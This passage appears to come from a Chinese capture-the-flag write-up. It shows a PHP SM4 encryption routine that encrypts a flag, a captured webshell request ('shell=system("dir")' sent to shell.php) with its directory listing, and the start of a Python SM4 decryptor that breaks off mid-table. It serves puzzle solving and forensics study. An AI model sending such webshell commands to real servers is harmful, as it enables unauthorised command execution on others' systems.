<span class="number">0x84</span>, <span class="number">0x9B</span>, <span class="number">0x1E</span>, <span class="number">0x87</span>, <span class="number">0xE0</span>, <span class="number">0x3E</span>, <span class="number">0xB5</span>, <span class="number">0x66</span>, <span class="number">0x48</span>, <span class="number">0x02</span>, <span class="number">0x6C</span>, <span class="number">0xBB</span>, <span class="number">0xBB</span>, <span class="number">0x32</span>, <span class="number">0x83</span>, <span class="number">0x27</span>,</span><br><span class="line">        <span class="number">0x9E</span>, <span class="number">0x01</span>, <span class="number">0x8D</span>, <span class="number">0x53</span>, <span class="number">0x9B</span>, <span class="number">0x64</span>, <span class="number">0x7B</span>, <span class="number">0x6B</span>, <span class="number">0x6A</span>, <span class="number">0x6C</span>, <span class="number">0xEC</span>, <span class="number">0xBB</span>, <span class="number">0xC4</span>, <span class="number">0x94</span>, <span class="number">0x3B</span>, <span class="number">0x0C</span>,</span><br><span class="line">        <span class="number">0x76</span>, <span class="number">0xD2</span>, <span class="number">0x09</span>, <span class="number">0xAA</span>, <span class="number">0x16</span>, <span class="number">0x15</span>, <span class="number">0x3D</span>, <span class="number">0x2D</span>, <span class="number">0x0A</span>, <span class="number">0xFD</span>, <span class="number">0xE4</span>, <span class="number">0xB7</span>, <span class="number">0x37</span>, <span class="number">0x63</span>, <span class="number">0x28</span>, <span class="number">0xDD</span>,</span><br><span class="line">        <span class="number">0x7C</span>, <span class="number">0xEA</span>, <span class="number">0x97</span>, <span class="number">0x8C</span>, <span class="number">0x6D</span>, <span class="number">0xC7</span>, <span class="number">0xF2</span>, <span class="number">0x3E</span>, <span class="number">0x1A</span>, <span class="number">0x71</span>, <span class="number">0x1D</span>, <span class="number">0x29</span>, <span class="number">0xC5</span>, <span class="number">0x89</span>, <span class="number">0x6F</span>, <span class="number">0xB7</span>,</span><br><span class="line">        <span class="number">0x62</span>, <span class="number">0x0E</span>, <span class="number">0xAA</span>, <span class="number">0x18</span>, <span class="number">0xBE</span>, <span class="number">0x1B</span>, <span class="number">0xFC</span>, <span class="number">0x56</span>, <span class="number">0x36</span>, <span class="number">0x24</span>, <span class="number">0x07</span>, <span class="number">0x82</span>, <span class="number">0xFA</span>, <span class="number">0x54</span>, <span class="number">0x5B</span>, <span class="number">0x40</span>,</span><br><span class="line">        <span class="number">0x8F</span>, <span class="number">0xED</span>, <span class="number">0x1F</span>, <span class="number">0xDA</span>, <span class="number">0x93</span>, <span class="number">0x80</span>, <span class="number">0xF9</span>, <span class="number">0x61</span>, <span class="number">0x1C</span>, <span class="number">0x70</span>, <span class="number">0xC3</span>, <span class="number">0x85</span>, <span class="number">0x95</span>, <span class="number">0xA9</span>, <span class="number">0x79</span>, <span class="number">0x08</span>,</span><br><span class="line">        <span class="number">0x46</span>, <span class="number">0x29</span>, <span class="number">0x02</span>, <span class="number">0x3B</span>, <span class="number">0x4D</span>, <span class="number">0x83</span>, <span class="number">0x3A</span>, <span class="number">0x0A</span>, <span class="number">0x49</span>, <span class="number">0x06</span>, <span class="number">0x24</span>, <span class="number">0x1A</span>, <span class="number">0x47</span>, <span class="number">0x5C</span>, <span class="number">0x0D</span>, <span class="number">0xEA</span>,</span><br><span class="line">        <span class="number">0x9E</span>, <span class="number">0xCB</span>, <span class="number">0x55</span>, <span class="number">0x20</span>, <span class="number">0x15</span>, <span class="number">0x8A</span>, <span class="number">0x9A</span>, <span class="number">0xCB</span>, <span class="number">0x43</span>, <span class="number">0x0C</span>, <span class="number">0xF0</span>, <span class="number">0x0B</span>, <span class="number">0x40</span>, <span class="number">0x58</span>, <span class="number">0x00</span>, <span class="number">0x8F</span>,</span><br><span class="line">        <span class="number">0xEB</span>, <span class="number">0xBE</span>, <span class="number">0x3D</span>, <span class="number">0xC2</span>, <span class="number">0x9F</span>, <span class="number">0x51</span>, <span class="number">0xFA</span>, <span class="number">0x13</span>, <span class="number">0x3B</span>, <span class="number">0x0D</span>, <span class="number">0x90</span>, <span class="number">0x5B</span>, <span class="number">0x6E</span>, <span class="number">0x45</span>, <span class="number">0x59</span>, <span class="number">0x33</span></span><br><span class="line">    ];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$key</span></span>) </span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">setKey</span>(<span class="variable">$key</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">setKey</span>(<span class="params"><span class="variable">$key</span></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_ invoke__">strlen</span>(<span class="variable">$key</span>) != <span class="number">16</span>) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Exception</span>(<span class="string">&quot;SM4&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="variable">$key</span> = <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">strToIntArray</span>(<span class="variable">$key</span>);</span><br><span class="line">        <span class="variable">$k</span> = <span class="title function_ invoke__">array_merge</span>(<span class="variable">$key</span>, [<span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>]);</span><br><span class="line">        <span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> &lt; <span class="number">4</span>; <span class="variable">$i</span>++) &#123;</span><br><span class="line">            <span class="variable">$k</span>[<span class="variable">$i</span>] ^= <span class="built_in">self</span>::<span class="variable">$FK</span>[<span class="variable">$i</span>];</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> &lt; <span class="number">32</span>; <span class="variable">$i</span>++) &#123;</span><br><span class="line">            <span class="variable">$k</span>[<span class="variable">$i</span> + <span class="number">4</span>] = <span class="variable">$k</span>[<span class="variable">$i</span>] ^ <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">CKF</span>(<span class="variable">$k</span>[<span class="variable">$i</span> + <span class="number">1</span>], <span class="variable">$k</span>[<span class="variable">$i</span> + <span class="number">2</span>], <span class="variable">$k</span>[<span class="variable">$i</span> + <span class="number">3</span>], <span class="built_in">self</span>::<span class="variable">$CK</span>[<span class="variable">$i</span>]);</span><br><span class="line">            <span class="variable language_">$this</span>-&gt;sk[<span class="variable">$i</span>] = <span class="variable">$k</span>[<span class="variable">$i</span> + <span class="number">4</span>];</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">encrypt</span>(<span class="params"><span class="variable">$plaintext</span></span>) </span>&#123;</span><br><span class="line">        <span class="variable">$len</span> = <span class="title function_ invoke__">strlen</span>(<span class="variable">$plaintext</span>);</span><br><span class="line">        <span class="variable">$padding</span> = <span class="number">16</span> - (<span class="variable">$len</span> % <span class="number">16</span>);</span><br><span class="line">        <span class="variable">$plaintext</span> .= <span class="title function_ invoke__">str_repeat</span>(<span class="title function_ invoke__">chr</span>(<span class="variable">$padding</span>), <span class="variable">$padding</span>); </span><br><span class="line">        <span class="variable">$ciphertext</span> = <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">        <span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> &lt; <span class="title function_ invoke__">strlen</span>(<span class="variable">$plaintext</span>); <span class="variable">$i</span> += <span class="number">16</span>) &#123;</span><br><span class="line">            <span class="variable">$block</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$plaintext</span>, <span class="variable">$i</span>, <span class="number">16</span>);</span><br><span class="line">            <span class="variable">$ciphertext</span> .= <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">cryptBlock</span>(<span class="variable">$block</span>, <span class="built_in">self</span>::<span class="variable constant_">ENCRYPT</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$ciphertext</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">cryptBlock</span>(<span class="params"><span class="variable">$block</span>, <span class="variable">$mode</span></span>) </span>&#123;</span><br><span class="line">        <span class="variable">$x</span> = <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">strToIntArray</span>(<span class="variable">$block</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> &lt; <span class="number">32</span>; <span class="variable">$i</span>++) &#123;</span><br><span class="line">            <span class="variable">$roundKey</span> = <span class="variable language_">$this</span>-&gt;sk[<span class="variable">$i</span>];</span><br><span class="line">            <span class="variable">$x</span>[<span class="number">4</span>] = <span class="variable">$x</span>[<span class="number">0</span>] ^ <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">F</span>(<span class="variable">$x</span>[<span class="number">1</span>], <span class="variable">$x</span>[<span class="number">2</span>], <span class="variable">$x</span>[<span class="number">3</span>], <span class="variable">$roundKey</span>);</span><br><span class="line">            <span class="title function_ invoke__">array_shift</span>(<span class="variable">$x</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="variable">$x</span> = <span class="title function_ invoke__">array_reverse</span>(<span class="variable">$x</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">intArrayToStr</span>(<span class="variable">$x</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">F</span>(<span class="params"><span class="variable">$x1</span>, <span class="variable">$x2</span>, <span class="variable">$x3</span>, <span class="variable">$rk</span></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">T</span>(<span class="variable">$x1</span> ^ <span class="variable">$x2</span> ^ <span class="variable">$x3</span> ^ <span class="variable">$rk</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">CKF</span>(<span class="params"><span class="variable">$a</span>, <span class="variable">$b</span>, <span class="variable">$c</span>, <span class="variable">$ck</span></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$a</span> ^ <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">T</span>(<span class="variable">$b</span> ^ <span class="variable">$c</span> ^ <span class="variable">$ck</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">T</span>(<span class="params"><span class="variable">$x</span></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">L</span>(<span class="variable">$this</span>-&gt;<span class="title function_ invoke__">S</span>(<span class="variable">$x</span>));</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">S</span>(<span class="params"><span class="variable">$x</span></span>) </span>&#123;</span><br><span class="line">        <span class="variable">$result</span> = <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> &lt; <span class="number">4</span>; <span class="variable">$i</span>++) &#123;</span><br><span class="line">            <span class="variable">$byte</span> = (<span class="variable">$x</span> &gt;&gt; (<span class="number">24</span> - <span class="variable">$i</span> * <span class="number">8</span>)) &amp; <span class="number">0xFF</span>;</span><br><span class="line">            <span class="variable">$result</span> |= <span class="built_in">self</span>::<span class="variable">$SboxTable</span>[<span class="variable">$byte</span>] &lt;&lt; (<span class="number">24</span> - <span class="variable">$i</span> * <span class="number">8</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$result</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">L</span>(<span class="params"><span class="variable">$x</span></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$x</span> ^ <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">rotl</span>(<span class="variable">$x</span>, <span class="number">2</span>) ^ <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">rotl</span>(<span class="variable">$x</span>, <span class="number">10</span>) ^ <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">rotl</span>(<span class="variable">$x</span>, <span class="number">18</span>) ^ <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">rotl</span>(<span class="variable">$x</span>, <span class="number">24</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">rotl</span>(<span class="params"><span class="variable">$x</span>, <span class="variable">$n</span></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> ((<span class="variable">$x</span> &lt;&lt; <span class="variable">$n</span>) &amp; <span class="number">0xFFFFFFFF</span>) | ((<span class="variable">$x</span> &gt;&gt; (<span class="number">32</span> - <span class="variable">$n</span>)) &amp; <span class="number">0xFFFFFFFF</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">strToIntArray</span>(<span class="params"><span class="variable">$str</span></span>) </span>&#123;</span><br><span class="line">        <span class="variable">$result</span> = [];</span><br><span class="line">        <span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> &lt; <span class="number">4</span>; <span class="variable">$i</span>++) &#123;</span><br><span class="line">            <span class="variable">$offset</span> = <span class="variable">$i</span> * <span class="number">4</span>;</span><br><span class="line">            <span class="variable">$result</span>[<span class="variable">$i</span>] =</span><br><span class="line">                (<span class="title function_ invoke__">ord</span>(<span class="variable">$str</span>[<span class="variable">$offset</span>]) &lt;&lt; <span class="number">24</span>) |</span><br><span class="line">                (<span class="title function_ invoke__">ord</span>(<span class="variable">$str</span>[<span class="variable">$offset</span> + <span class="number">1</span>]) &lt;&lt; <span class="number">16</span>) |</span><br><span class="line">                (<span class="title function_ invoke__">ord</span>(<span class="variable">$str</span>[<span class="variable">$offset</span> + <span class="number">2</span>]) &lt;&lt; <span class="number">8</span>) |</span><br><span class="line">                <span class="title function_ invoke__">ord</span>(<span class="variable">$str</span>[<span class="variable">$offset</span> + <span class="number">3</span>]);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$result</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">intArrayToStr</span>(<span class="params"><span class="variable">$array</span></span>) </span>&#123;</span><br><span class="line">        <span class="variable">$str</span> = <span class="string">&#x27;&#x27;</span>;</span><br><span class="line">        <span class="keyword">foreach</span> (<span class="variable">$array</span> <span class="keyword">as</span> <span class="variable">$int</span>) &#123;</span><br><span class="line">            <span class="variable">$str</span> .= <span class="title function_ invoke__">chr</span>((<span class="variable">$int</span> &gt;&gt; <span class="number">24</span>) &amp; <span class="number">0xFF</span>);</span><br><span class="line">            <span class="variable">$str</span> .= <span class="title function_ invoke__">chr</span>((<span class="variable">$int</span> &gt;&gt; <span class="number">16</span>) &amp; <span class="number">0xFF</span>);</span><br><span class="line">            <span class="variable">$str</span> .= <span class="title function_ invoke__">chr</span>((<span class="variable">$int</span> &gt;&gt; <span class="number">8</span>) &amp; <span class="number">0xFF</span>);</span><br><span class="line">            <span class="variable">$str</span> .= <span class="title function_ invoke__">chr</span>(<span class="variable">$int</span> &amp; <span class="number">0xFF</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$str</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="variable">$key</span> = <span class="string">&quot;a8a58b78f41eeb6a&quot;</span>;</span><br><span class="line">    <span class="variable">$sm4</span> = <span class="keyword">new</span> <span class="title class_">SM4</span>(<span class="variable">$key</span>);</span><br><span class="line">    <span class="variable">$plaintext</span> = <span class="string">&quot;flag&quot;</span>;</span><br><span class="line">    <span class="variable">$ciphertext</span> = <span class="variable">$sm4</span>-&gt;<span class="title function_ invoke__">encrypt</span>(<span class="variable">$plaintext</span>);</span><br><span class="line">    <span class="keyword">echo</span>  <span class="title function_ invoke__">base64_encode</span>(<span class="variable">$ciphertext</span>) ; <span class="comment">//VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu</span></span><br><span class="line">&#125; <span class="keyword">catch</span> (<span class="built_in">Exception</span> <span class="variable">$e</span>) &#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="variable">$e</span>-&gt;<span class="title function_ invoke__">getMessage</span>() ;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>前面有执行 <code>dir</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">shell=system(&quot;dir&quot;);</span><br><span class="line">HTTP/1.1 200 OK</span><br><span class="line">Date: Mon, 11 Aug 2025 08:40:24 GMT</span><br><span class="line">Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02</span><br><span class="line">X-Powered-By: PHP/7.3.4</span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line">Content-Type: text/html; charset=UTF-8</span><br><span class="line"></span><br><span class="line"> ...... C ................</span><br><span class="line"> ............ C26B-E507</span><br><span class="line"></span><br><span class="line"> C:\phpstudy_pro\WWW ......</span><br><span class="line"></span><br><span class="line">2025/08/11  16:34    &lt;DIR&gt;          .</span><br><span class="line">2025/08/11  16:34    &lt;DIR&gt;          ..</span><br><span class="line">2025/06/09  23:55                 0 .htaccess</span><br><span class="line">2024/07/26  09:50    &lt;DIR&gt;          error</span><br><span class="line">2025/08/11  16:33             5,545 flag.txt</span><br><span class="line">2019/09/03  14:30             2,307 index.html</span><br><span class="line">2025/06/09  23:55                 0 nginx.htaccess</span><br><span class="line">2025/07/25  11:24    &lt;DIR&gt;          pikaqiu</span><br><span class="line">2025/08/11  16:12                33 shell.php</span><br><span class="line">2024/07/26  15:17    &lt;DIR&gt;          sqli</span><br><span class="line">               5 ......          7,885 ....</span><br><span class="line">               5 ......  5,388,627,968 ........</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>剩下的 Gemini 梭了</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">SM4</span>:</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    根据提供的PHP代码逻辑实现的SM4解密器。</span></span><br><span class="line"><span class="string">    注意：此实现复制了PHP代码中的非标准密钥扩展算法。</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># SM4 算法中使用的固定参数和S盒</span></span><br><span class="line">    FK = [<span class="number">0xA3B1BAC6</span>, <span class="number">0x56AA3350</span>, <span class="number">0x677D9197</span>, <span class="number">0xB27022DC</span>]</span><br><span class="line">    CK = [</span><br><span class="line">        <span class="number">0x00070E15</span>, <span class="number">0x1C232A31</span>, <span class="number">0x383F464D</span>, <span class="number">0x545B6269</span>,</span><br><span class="line">        <span class="number">0x70777E85</span>, <span class="number">0x8C939AA1</span>, <span class="number">0xA8AFB6BD</span>, <span class="number">0xC4CBD2D9</span>,</span><br><span class="line">        <span class="number">0xE0E7EEF5</span>, <span class="number">0xFC030A11</span>, <span class="number">0x181F262D</span>, <span class="number">0x343B4249</span>,</span><br><span class="line">        <span class="number">0x50575E65</span>, <span class="number">0x6C737A81</span>, <span class="number">0x888F969D</span>, <span class="number">0xA4ABB2B9</span>,</span><br><span class="line">        <span class="number">0xC0C7CED5</span>, <span class="number">0xDCE3EAF1</span>, <span class="number">0xF8FF060D</span>, <span class="number">0x141B2229</span>,</span><br><span class="line">        <span class="number">0x30373E45</span>, <span class="number">0x4C535A61</span>, <span class="number">0x686F767D</span>, <span class="number">0x848B9299</span>,</span><br><span class="line">        <span class="number">0xA0A7AEB5</span>, <span class="number">0xBCC3CAD1</span>, <span class="number">0xD8DFE6ED</span>, <span class="number">0xF4FB0209</span>,</span><br><span class="line">        <span class="number">0x10171E25</span>, <span class="number">0x2C333A41</span>, <span class="number">0x484F565D</span>, <span class="number">0x646B7279</span></span><br><span class="line">    ]</span><br><span class="line">    SboxTable = [</span><br><span class="line">        <span class="number">0xD6</span>, <span class="number">0x90</span>, <span class="number">0xE9</span>, <span class="number">0xFE</span>, <span class="number">0xCC</span>, <span class="number">0xE1</span>, <span class="number">0x3D</span>, <span class="number">0xB7</span>, <span class="number">0x16</span>, <span class="number">0xB6</span>, <span class="number">0x14</span>, <span class="number">0xC2</span>, <span class="number">0x28</span>, <span class="number">0xFB</span>, <span class="number">0x2C</span>, <span class="number">0x05</span>,</span><br><span class="line">        <span class="number">0x2B</span>, <span class="number">0x67</span>, <span class="number">0x9A</span>, <span class="number">0x76</span>, <span class="number">0x2A</span>, <span class="number">0xBE</span>, <span class="number">0x04</span>, <span class="number">0xC3</span>, <span class="number">0xAA</span>, <span class="number">0x44</span>, <span class="number">0x13</span>, <span class="number">0x26</span>, <span class="number">0x49</span>, <span class="number">0x86</span>, <span class="number">0x06</span>, <span class="number">0x99</span>,</span><br><span class="line">        <span class="number">0x9C</span>, <span class="number">0x42</span>, <span class="number">0x50</span>, <span class="number">0xF4</span>, <span class="number">0x91</span>, <span class="number">0xEF</span>, <span class="number">0x98</span>, <span class="number">0x7A</span>, <span class="number">0x33</span>, <span class="number">0x54</span>, <span class="number">0x0B</span>, <span class="number">0x43</span>, <span class="number">0xED</span>, <span class="number">0xCF</span>, <span class="number">0xAC</span>, <span class="number">0x62</span>,</span><br><span class="line">        <span class="number">0xE4</span>, <span class="number">0xB3</span>, <span class="number">0x1C</span>, <span class="number">0xA9</span>, <span class="number">0xC9</span>, <span class="number">0x08</span>, <span class="number">0xE8</span>, <span class="number">0x95</span>, <span class="number">0x80</span>, <span class="number">0xDF</span>, <span class="number">0x94</span>, <span class="number">0xFA</span>, <span class="number">0x75</span>, <span class="number">0x8F</span>, <span class="number">0x3F</span>, <span class="number">0xA6</span>,</span><br><span class="line">        <span class="number">0x47</span>, <span class="number">0x07</span>, <span class="number">0xA7</span>, <span class="number">0xFC</span>, <span class="number">0xF3</span>, <span class="number">0x73</span>, <span class="number">0x17</span>, <span class="number">0xBA</span>, <span class="number">0x83</span>, <span class="number">0x59</span>, <span class="number">0x3C</span>, <span class="number">0x19</span>, <span class="number">0xE6</span>, <span class="number">0x85</span>, <span class="number">0x4F</span>, <span class="number">0xA8</span>,</span><br><span class="line">        <span class="number">0x68</span>, <span class="number">0x6B</span>, <span class="number">0x81</span>, <span class="number">0xB2</span>, <span class="number">0x71</span>, <span class="number">0x64</span>, <span class="number">0xDA</span>, <span class="number">0x8B</span>, <span class="number">0xF8</span>, <span class="number">0xEB</span>, <span class="number">0x0F</span>, <span class="number">0x4B</span>, <span class="number">0x70</span>, <span class="number">0x56</span>, <span class="number">0x9D</span>, <span class="number">0x35</span>,</span><br><span class="line">        <span class="number">0x1E</span>, <span class="number">0x24</span>, <span class="number">0x0E</span>, <span class="number">0x5E</span>, <span class="number">0x63</span>, <span class="number">0x58</span>, <span class="number">0xD1</span>, <span class="number">0xA2</span>, <span class="number">0x25</span>, <span class="number">0x22</span>, <span class="number">0x7C</span>, <span class="number">0x3B</span>, <span class="number">0x01</span>, <span class="number">0x0D</span>, <span class="number">0x2D</span>, <span class="number">0xEC</span>,</span><br><span class="line">        <span class="number">0x84</span>, <span class="number">0x9B</span>, <span class="number">0x1E</span>, <span class="number">0x87</span>, <span class="number">0xE0</span>, <span class="number">0x3E</span>, <span class="number">0xB5</span>, <span class="number">0x66</span>, <span class="number">0x48</span>, <span class="number">0x02</span>, <span class="number">0x6C</span>, <span class="number">0xBB</span>, <span class="number">0xBB</span>, <span class="number">0x32</span>, <span class="number">0x83</span>, <span class="number">0x27</span>,</span><br><span class="line">        <span class="number">0x9E</span>, <span class="number">0x01</span>, <span class="number">0x8D</span>, <span class="number">0x53</span>, <span class="number">0x9B</span>, <span class="number">0x64</span>, <span class="number">0x7B</span>, <span class="number">0x6B</span>, <span class="number">0x6A</span>, <span class="number">0x6C</span>, <span class="number">0xEC</span>, <span class="number">0xBB</span>, <span class="number">0xC4</span>, <span class="number">0x94</span>, <span class="number">0x3B</span>, <span class="number">0x0C</span>,</span><br><span class="line">        <span class="number">0x76</span>, <span class="number">0xD2</span>, <span class="number">0x09</span>, <span class="number">0xAA</span>, <span class="number">0x16</span>, <span class="number">0x15</span>, <span class="number">0x3D</span>, <span class="number">0x2D</span>, <span class="number">0x0A</span>, <span class="number">0xFD</span>, <span class="number">0xE4</span>, <span class="number">0xB7</span>, <span class="number">0x37</span>, <span class="number">0x63</span>, <span class="number">0x28</span>, <span class="number">0xDD</span>,</span><br><span class="line">        <span class="number">0x7C</span>, <span class="number">0xEA</span>, <span class="number">0x97</span>, <span class="number">0x8C</span>, <span class="number">0x6D</span>, <span class="number">0xC7</span>, <span class="number">0xF2</span>, <span class="number">0x3E</span>, <span 